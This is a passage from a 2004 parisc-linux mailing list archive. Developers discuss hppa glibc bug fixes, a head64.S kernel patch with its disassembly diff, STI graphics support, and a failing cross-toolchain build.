Foreground tasks:

- atomic kernel ops
- review gettimeofday, and possible speedups.
- review time code in the kernel.
* gdb support upstream <- Highest foreground priority.

Thanks for all the help guys! Randolph for making me read the cffc code
and figure out what I did wrong, that fixed "last_bug-1". Richard had me
thinking about debian-installer and what would happen if you ripped out
the PLT of the executable, this lead me to fix "last_bug." :)

So.... who wants to setup an automated glibc builder? :}

Cheers,
Carlos.




From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Update] glibc 2.3.2 bug free on hppa.
Date: Mon, 2 Feb 2004 08:20:50 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20040202072050.GB28571@lug-owl.de>
References: <20040201230839.GA10328@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="WYTEVAkct0FjGQmd"
X-Trace: ger.gmane.org 1416623167 5334 80.91.229.3 (22 Nov 2014 02:26:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jbglaw@dvmwest.gt.owl.de  Mon Feb  2 00:20:53 2004
Return-Path: <jbglaw@dvmwest.gt.owl.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BA4F487E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Feb 2004 00:20:53 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 32DC74B534; Mon,  2 Feb 2004 08:20:51 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20040201230839.GA10328@baldric.uwo.ca>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 02 Feb 2004 07:20:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20756


--WYTEVAkct0FjGQmd
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 2004-02-01 18:08:45 -0500, Carlos O'Donell <carlos@baldric.uwo.ca>
wrote in message <20040201230839.GA10328@baldric.uwo.ca>:

> So.... who wants to setup an automated glibc builder? :}

I certainly could (from hardware and shell scripting opint of view), but
I might need some help with all the ./configury ...

Building a toolchain isn't allways a pleasuring task, esp. if you want a
cross-toolchain. So if interested, I'd dedicate my b132l to that job:)

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--WYTEVAkct0FjGQmd
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAHfpSHb1edYOZ4bsRAuQ0AJ9PhQX3J4kxo3b/3fAQSpy1hFWZuwCdEbEA
6HzEFhniP0BKKeKsgG5anQg=
=/Nui
-----END PGP SIGNATURE-----

--WYTEVAkct0FjGQmd--


From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 carlos
Date: Mon, 2 Feb 2004 11:25:08 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <401530610000500D@ocpmta1.freegates.net>
References: <20040201200540.GG959@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623168 5336 80.91.229.3 (22 Nov 2014 02:26:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:08 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: soete.joel@tiscali.be  Mon Feb  2 03:25:35 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA80548AB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Feb 2004 03:25:34 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AnbGa-0007Zq-00; Mon, 02 Feb 2004 11:25:20 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 2 Feb 2004 11:25:08 +0100
In-Reply-To: <20040201200540.GG959@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 02 Feb 2004 10:25:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20757

Hi Randolph,

Very sorry but it doesn't works :( 
(Sorry also if I couldn't help more: my knowledge of kernel internals is
still too limited :( )

Thanks for your attention,
    Joel


>-- Original Message --
>Date: Sun, 1 Feb 2004 12:05:40 -0800
>From: Randolph Chung <randolph@tausq.org>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
>	James Bottomley <James.Bottomley@steeleye.com>,
>	parisc-linux@lists.parisc-linux.org
>Reply-To: Randolph Chung <randolph@tausq.org>
>Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 carlos
>
>
>> Sorry for auto-reply but my suspicious was right: I just revert this patch:

can you try this one instead?

randolph

Index: arch/parisc/kernel/head64.S
===================================================================
RCS file: /var/cvs/li
>ux-2.6/arch/parisc/kernel/head64.S,v
retrieving revision 1.3
diff -u -p -r1.3 head64.S
--- arch/parisc/kernel/head64.S 17 Jan 2004 15:00:32 -0000      1.3
+++ arch/parisc/kernel/head64.S 1 Feb 2004 18:09:13 -0000
@@ -165,8 +165,7 @@ common_stext:

> #endif /* CONFIG_SMP */

        /* Save the rfi target address */
-       ldo             -THREAD_SZ_ALGN(%sp), %r1
-       ldd             TI_TASK(%r1), %r1
+       ldd             TI_TASK-THREAD_SZ_ALGN(%sp), %r1
        std             %r11,
> TASK_PT_GR11(%r1)

 #ifndef CONFIG_PDC_NARROW
@@ -301,7 +300,8 @@ smp_slave_stext:

        /*  Initialize the SP - monarch sets up smp_init_current_idle_task
*/
        load32          PA(smp_init_current_idle_task),%sp
-       ldd            
>0(%sp),%sp      /* load task address */
+       ldd             0(%sp),%sp      /* load thread_info address */
+       ldd             TASK_THREAD_INFO(%sp), %sp
        mtctl           %sp,%cr30       /* store in cr30 */
        ldo             TH
>EAD_SZ_ALGN(%sp),%sp
        tophys_r1       %sp



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti & b2k: doesn't work?
Date: Mon, 2 Feb 2004 14:45:57 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <40153061000055AD@ocpmta1.freegates.net>
References: <200401301954.18808.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623168 5338 80.91.229.3 (22 Nov 2014 02:26:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:08 +0000 (UTC)
To: "Helge Deller" <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Mon Feb  2 06:46:00 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA6E64879
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Feb 2004 06:46:00 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AneOk-0007ie-00; Mon, 02 Feb 2004 14:45:58 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 2 Feb 2004 14:45:57 +0100
In-Reply-To: <200401301954.18808.deller@gmx.de>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 02 Feb 2004 13:46:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20758

>
>Which graphics card do you have ?
>What does "lspci -v" and/or dmesg (look for "sti:") says ?

Hi Helge,

Sorry for delay but during week-end I do not have access to this system ;).

Here are the info:
# lspci -v
[snip]
01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
	Subsystem: Hewlett-Packard Company: Unknown device 108c
	Flags: bus master, 66Mhz, medium devsel, latency 255, IRQ 256
	Memory at fffffff0 (64-bit, prefetchable) [size=16M]
	Memory at fffffff0 (64-bit, non-prefetchable) [size=16M]
	Expansion ROM at fffff800 [size=128K]
[snip]
00:0e.2 USB Controller: National Semiconductor Corporation USB Controller
(rev 02) (prog-if 10 [OHCI])
	Flags: bus master, medium devsel, latency 240, IRQ 193
	Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]
	Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]
[snip]

# more /var/log/dmesg
[snip]
STI PCI graphic ROM found at fffffffff4940000 (128 kB), fb at fffffffffb000000
(16 MB)
    id 35acda16-9a02587, conforms to spec rev. 8.0c
    graphics card name: HPA4982A
stifb: 'HPA4982A' (id: 0x35acda16) not supported.
[snip]

hth,
    Joel

PS: for pdc_console on b2k, I don't care for the moment that stifb is not
supported ;)




-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [Update] glibc 2.3.2 bug free on hppa.
Date: Mon, 2 Feb 2004 18:15:06 +0100
Lines: 147
Approved: news@gmane.org
Message-ID: <400CB8A10000A8EB@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623168 5341 80.91.229.3 (22 Nov 2014 02:26:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:08 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Mon Feb  2 10:15:12 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D508148A4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Feb 2004 10:15:11 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AnhfA-0006Ok-00; Mon, 02 Feb 2004 18:15:08 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 2 Feb 2004 18:15:06 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 02 Feb 2004 17:15:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20759

Hi Carlos,

As a first step, I would just like test the toolchain:
I so grab first _manualy_ last binutils and gcc (3.3.3-0pre3) dkpg src and
apply patches (with './debian/rules patch' in the corresponding src pkg
dir)
Then grab upsteam glibc (2.3.3 is it the one I had to consider you spoke
about 2.3.2??) and apply your patches.

every thing works fine until I reach second step of gcc build where configure
failed with following error message:
Configure gcc step2:

Cmd: unset CC; unset CFLAGS;  export PATH="/opt/palinux-3.3.3/bin:$PATH";
/Develop/parisc-linux/sources/gcc/configure --target=hppa-linux --host=hppa-linux
--build=hppa-linux --prefix=/opt/palinux-3.3.3 --enable-shared --disable-nls
--enable-languages=c
Mon Feb 02 16:01:37 UTC 2004:

*** This configuration is not supported
in the following subdirectories:
     target-libffi target-boehm-gc target-zlib target-libjava target-libstdcv3
target-libf2c zlib fastjar target-libobjc
    (Any other directories should still work fine.)
Created "Makefile" in /Develop/parisc-linu
/build/gcc using "mt-frag"
/lib/libc.so.6: undefined reference to `__libc_stack_end@GLIBC_PRIVATE'
/lib/libc.so.6: undefined reference to `_dl_function_address@GLIBC_PRIVATE'
collect2: ld returned 1 exit status
*** The command 'gcc -o conftest -g -O2   conftest.c' failed.
*** You must set the environment variable CC to a working compiler.

I have a look in my /opt/palinux-3.3.3/bin but there is not yet any gcc
at this stage so it will use /usr/bin/gcc may be should I use better the
partial gcc (build during step 1)?

Thanks for all of your help,
    Joel

PS: glibc it self is configure as follow:
Cmd: unset LD_LIBRARY_PATH; unset LD_RUN_PATH; export CC=/Develop/parisc-linux/xc/bin/hppa-linux-gcc;
export CLFAGS="-O2 -g";  export PATH="/Develop/parisc-linux/xc/bin:$PATH";
/Develop/parisc-linux/sources/glibc/configure --target=hppa-linux --host=hppa-linux
--build=hppa-linux --prefix=/opt/palinux-3.3.3/hppa-linux --without-cvs --disable-profile
--enable-hacker-mode --enable-add-ons=linuxthreads --with-headers=/Develop/parisc-linux/sources/linux/include


>-- Original Message --
>Date: Sun, 1 Feb 2004 18:08:45 -0500
>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] [Up
ate] glibc 2.3.2 bug free on hppa.
>
>
>
pa,

As of today the last glibc bug was fixed:

- Statically linked executable SIGSEGV's when calling dlopen. (FIXED)

As far as I'm concerned glibc has zero bugs, not counting the fact that
we don't 
et have a long double implementation.

I
>know the gentoo crowd is always interested in the lastest set of
patches, so here goes:

http://www.parisc-linux.org/~carlos/glibc-hppa-patches-2004-02-01.tar.gz

At the moment you need a patched gcc in
order to build a correct
userspace, I'm try
>ng to fix this so you don't have to:

http://www.parisc-linux.org/~carlos/gcc-3.3.2-fptr.diff

Lite-Recipe for running test-suite:
(a) Download gcc 3.3.2 source.
(b) Patch with fptr.diff from above.

(c) Build gcc 3.3.2
(d) Download glibc cvs he
>d.
(e) Patch with glibc patches from above.
(f) Build glibc with the gcc from (c).
(g) Run glibc testsuite "make -k check" using gcc from (c).
(h) Look for errors "grep 'Error' test-result.log"

I'
l start focusing most of my time fixing gdb now
>)

Background tasks:

- debian-glibc support.
- Send glibc patches upstream.

I'll be looking for a helper if someone wants to look into new
regressions as they arrive? Usually just building ups
ream with the
above patches, and checking that w
> didn't regress is good enough.
I imagine I could automate that... or rather someone else could? :)

Foreground tasks:

- atomic kernel ops
- review gettimeofday, and possible speedups.
- revie
 time code in the kernel.
* gdb support upstream <
> Highest foreground priority.

Thanks for all the help guys! Randolph for making me read the cffc code
and figure out what I did wrong, that fixed "last_bug-1". Richard had me
thinking about deb
an-installer and what would happen if you ripped out

>the PLT of the executable, this lead me to fix "last_bug." :)

So.... who wants to setup an automated glibc builder? :}

Cheers,
Carlos.


_______________________________________________

parisc-linux mailing list
parisc-linux@lists.parisc-lin
>x.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux





-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 carlos
Date: Mon, 2 Feb 2004 18:50:49 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <400CB8A10000A96E@ocpmta3.freegates.net>
References: <401530610000500D@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623169 5344 80.91.229.3 (22 Nov 2014 02:26:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:09 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: soete.joel@tiscali.be  Mon Feb  2 11:31:18 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0820D489E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Feb 2004 11:31:18 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1Aniqb-0008Hg-00; Mon, 02 Feb 2004 19:31:01 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 2 Feb 2004 18:50:49 +0100
In-Reply-To: <401530610000500D@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 02 Feb 2004 18:31:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20760

Hi Randolph,

Very sorry but it doesn't works :( 
(Sorry also if I couldn't help more: my knowledge of kernel internals is
still too limited :( )

Thanks for your attention,
    Joel

PS: btw I try to compare the dump of two .o files:
palx2000:/usr/src/linux-2.6.2-rc2-pa3/arch/parisc/kernel# diff -Nau head64.working.dmp
head64.orig.dmp 
--- head64.working.dmp	2004-02-02 19:39:05.295417088 +0100
+++ head64.orig.dmp	2004-02-02 19:34:56.138294728 +0100
@@ -62,39 +62,43 @@
   cc:	f0 66 0c 00 	depd r6,31,32,r3
   d0:	68 00 00 20 	stw r0,10(r0)
   d4:	68 00 00 50 	stw r0,28(r0)
-  d8:	73 cb 38 31 	std r11,-3e8(sp)
-  dc:	00 00 14 a2 	mfia rp
-  e0:	34 42 00 28 	ldo 14(rp),rp
-  e4:	f4 40 0c 00 	depdi 0,31,32,rp
-  e8:	e8 40 c0 00 	bv r0(rp)
-  ec:	02 00 0d 60 	ssm 200,r0
-  f0:	34 1a 00 2a 	ldi 15,r26
-  f4:	34 19 00 04 	ldi 2,r25
-  f8:	34 18 00 04 	ldi 2,r24
-  fc:	20 40 00 00 	ldil 0,rp
- 100:	34 42 00 00 	ldo 0(rp),rp
- 104:	e8 60 c0 00 	bv r0(r3)
- 108:	08 00 02 57 	copy r0,r23
+  d8:	37 c1 3e 01 	ldo -100(sp),r1
+  dc:	0c 20 10 c1 	ldd 0(,r1),r1
+  e0:	70 2b 0b 30 	std r11,598(r1)
+  e4:	00 00 14 a2 	mfia rp
+  e8:	34 42 00 28 	ldo 14(rp),rp
+  ec:	f4 40 0c 00 	depdi 0,31,32,rp
+  f0:	e8 40 c0 00 	bv r0(rp)
+  f4:	02 00 0d 60 	ssm 200,r0
+  f8:	34 1a 00 2a 	ldi 15,r26
+  fc:	34 19 00 04 	ldi 2,r25
+ 100:	34 18 00 04 	ldi 2,r24
+ 104:	20 40 00 00 	ldil 0,rp
+ 108:	34 42 00 00 	ldo 0(rp),rp
+ 10c:	e8 60 c0 00 	bv r0(r3)
+ 110:	08 00 02 57 	copy r0,r23
 
-000000000000010c <stext_pdc_ret>:
- 10c:	53 cb 38 31 	ldd -3e8(sp),r11
- 110:	00 00 18 20 	mtsp r0,sr0
- 114:	00 00 58 20 	mtsp r0,sr1
- 118:	00 00 98 20 	mtsp r0,sr2
- 11c:	00 00 d8 20 	mtsp r0,sr3
- 120:	01 00 18 40 	mtctl r0,pidr1
- 124:	01 20 18 40 	mtctl r0,pidr2
- 128:	01 80 18 40 	mtctl r0,pidr3
- 12c:	01 a0 18 40 	mtctl r0,pidr4
- 130:	20 20 02 00 	ldil 10000000,r1
- 134:	08 3e 06 3e 	add sp,r1,sp
- 138:	23 60 00 00 	ldil 0,dp
- 13c:	37 7b 00 00 	ldo 0(dp),dp
- 140:	21 40 00 00 	ldil 0,r10
- 144:	35 4a 00 00 	ldo 0(r10),r10
- 148:	01 ca 18 40 	mtctl r10,iva
- 14c:	e8 00 01 58 	b,l 200 <aligned_rfi>,r0
- 150:	08 00 02 40 	nop
+0000000000000114 <stext_pdc_ret>:
+ 114:	37 c1 3e 01 	ldo -100(sp),r1
+ 118:	0c 20 10 c1 	ldd 0(,r1),r1
+ 11c:	50 2b 0b 30 	ldd 598(r1),r11
+ 120:	00 00 18 20 	mtsp r0,sr0
+ 124:	00 00 58 20 	mtsp r0,sr1
+ 128:	00 00 98 20 	mtsp r0,sr2
+ 12c:	00 00 d8 20 	mtsp r0,sr3
+ 130:	01 00 18 40 	mtctl r0,pidr1
+ 134:	01 20 18 40 	mtctl r0,pidr2
+ 138:	01 80 18 40 	mtctl r0,pidr3
+ 13c:	01 a0 18 40 	mtctl r0,pidr4
+ 140:	20 20 02 00 	ldil 10000000,r1
+ 144:	08 3e 06 3e 	add sp,r1,sp
+ 148:	23 60 00 00 	ldil 0,dp
+ 14c:	37 7b 00 00 	ldo 0(dp),dp
+ 150:	21 40 00 00 	ldil 0,r10
+ 154:	35 4a 00 00 	ldo 0(r10),r10
+ 158:	01 ca 18 40 	mtctl r10,iva
+ 15c:	e8 00 01 38 	b,l 200 <aligned_rfi>,r0
+ 160:	08 00 02 40 	nop
 	...
 
 0000000000000200 <aligned_rfi>:
=========><=========

head64.working.dmp being the one which working (ie with mentioned reverted
patch)

head64.orig.dmp being the cvs one.

Do you noticed compiler error?

hth,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.3.3 is bug free, weekly regression build,
	mailed to cvs.p-l.org?
Date: Mon, 2 Feb 2004 16:07:17 -0500
Lines: 85
Approved: news@gmane.org
Message-ID: <20040202210716.GB11884@baldric.uwo.ca>
References: <20040201230839.GA10328@baldric.uwo.ca>
	<20040202072050.GB28571@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623169 5345 80.91.229.3 (22 Nov 2014 02:26:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: carlos@baldric.uwo.ca  Mon Feb  2 14:06:58 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA58C4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Feb 2004 14:06:57 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040202210354.JHGM435777.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Mon, 2 Feb 2004 16:03:54 -0500
Content-Disposition: inline
In-Reply-To: <20040202072050.GB28571@lug-owl.de>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (90% Sync Ratio [=========.])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Mon,
	2 Feb 2004 16:03:54 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
